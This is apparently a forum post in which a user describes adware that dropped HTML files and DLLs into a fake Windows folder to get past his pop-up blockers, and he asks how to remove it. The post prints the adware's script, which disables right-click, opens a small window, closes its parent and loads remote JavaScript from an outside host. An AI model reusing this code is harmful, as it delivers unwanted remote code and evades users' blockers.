those sneaky bastards
I have been successfully blocking popups for a couple of years now. I used to use the Pop-Up stopper, but then Google combined a pop-up stopper in their toolbar that is even better, so I'v been using it for the last few months.
What to my surprise, yesterday I started getting these tiny pop-ups. With a little investigation I figured out what they did to get around my blockers.
Something I downloaded must have brought this onto my system. I have no idea what did it, but here's what it did:
Installed 2 html files to C:/windows/ConfigSys/
the html file consisted of one line: note: I changed all the greater-thans and less-thans to [ ]
pop.html
[html]
[script language="javascript"]
document.oncontextmenu = new Function("return false;"); //Prevent Right Click
document.onselectstart = new Function("return false;"); //Prevent Selecting
[/script]
[SCRIPT LANGUAGE="JavaScript"]
window.open ("index.html", 'newwindow', 'fullscreen=no, toolbar=no, menubar=no, scrollbars=no, resizable=no, location=no, directories=no, status=no, height=280, width=280')
oldwindow = window.self;
oldwindow.opener = window.self
oldwindow.close();
[/script]
[html]
index.html
[title]-[/title]
[SCRIPT type="text/javascript" LANGUAGE="javascript" src="http://www.qksz.net/1e-80jc";] [/SCRIPT]
Also in the same folder are 2 files: datang.dll and droenge.dll
and there is an img.gif which gets replaced by a new image periodically.
Google is bringing much up for me right now, I suppose I could just delete the whole folder since its not a real windows folder. Any other ideas for tracking down the source and getting rid of this?
-Steve G.